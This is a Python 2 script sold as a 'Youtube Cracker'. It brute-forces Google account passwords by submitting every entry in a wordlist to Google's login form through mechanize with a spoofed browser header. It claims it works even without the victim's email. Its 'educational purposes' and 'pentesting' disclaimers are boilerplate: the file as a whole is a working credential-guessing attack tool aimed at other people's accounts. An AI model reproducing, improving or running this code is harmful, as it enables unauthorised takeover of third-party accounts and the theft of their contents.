#!usr/bin/python
#Youtube Cracker Version 1.
#This program is for educational purposes only.
#Don't attack people Youtube accounts it's illegal !
#If you want to crack into someone's account, you must have the permission of the user.
#Mauritania Attacker is not responsible.
 
 
import sys
import random
import mechanize
import cookielib
 
 
GHT = '''
        +=======================================+
        |..........Youtube Cracker v 1..........|
        +---------------------------------------+
        |#Author: Mauritania Attacker           |
        |#Contact: www.fb.com/100005682817150   |
        |#Date: 06/06/2013                      |
        |#This tool is made for pentesting.     |
        |#Changing the Description of this tool |
        |Won't made you the coder ^_^ !!!       |
        |#Respect Coderz ^_^                    |
        |#I take no responsibilities for the    |
        |  use of this program !                |
        +=======================================+
        |..........Youtube Cracker v 1..........|
        +---------------------------------------+
'''
print "Note: - This tool can crack Youtube account even if you don't have the email of your victim"
print "# Hit CTRL+C to quit the program"
 
 
 
email = str(raw_input("# Enter Youtube |Username| or |Email| : "))
passwordlist = str(raw_input("Enter the name of the password list file : "))
 
useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
 
 
 
login = 'https://accounts.google.com/ServiceLoginAuth'
def attack(password):
 
  try:
     sys.stdout.write("\r[*] trying %s.. " % password)
     sys.stdout.flush()
     br.addheaders = [('User-agent', random.choice(useragents))]
     site = br.open(login)
     br.select_form(nr=0)
 
     
     ##Youtube
     br.form['Email'] = email
     br.form['Passwd'] = password
     br.submit()
     log = br.geturl()
     if log != login:
        print "\n\n\n [*] Password Youtube Account found .. !!"
        print "\n [*] Password : %s\n" % (password)
        sys.exit(1)
  except KeyboardInterrupt:
        print "\n[*] Exiting program .. "
        sys.exit(1)
 
def search():
    global password
    for password in passwords:
        attack(password.replace("\n",""))
 
 
 
def check():
 
    global br
    global passwords
    try:
       br = mechanize.Browser()
       cj = cookielib.LWPCookieJar()
       br.set_handle_robots(False)
       br.set_handle_equiv(True)
       br.set_handle_referer(True)
       br.set_handle_redirect(True)
       br.set_cookiejar(cj)
       br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
    except KeyboardInterrupt:
       print "\n[*] Exiting program ..\n"
       sys.exit(1)
    try:
       list = open(passwordlist, "r")
       passwords = list.readlines()
       k = 0
       while k < len(passwords):
          passwords[k] = passwords[k].strip()
          k += 1
    except IOError:
        print "\n [*] Error: check your password list path \n"
        sys.exit(1)
    except KeyboardInterrupt:
        print "\n [*] Exiting program ..\n"
        sys.exit(1)
    try:
        print GHT
        print " [*] Account to crack : %s" % (email)
        print " [*] Loaded :" , len(passwords), "passwords"
        print " [*] Cracking, please wait ..."
    except KeyboardInterrupt:
        print "\n [*] Exiting program ..\n"
        sys.exit(1)
    try:
        search()
        attack(password)
    except KeyboardInterrupt:
        print "\n [*] Exiting program ..\n"
        sys.exit(1)
 
if __name__ == '__main__':
    check()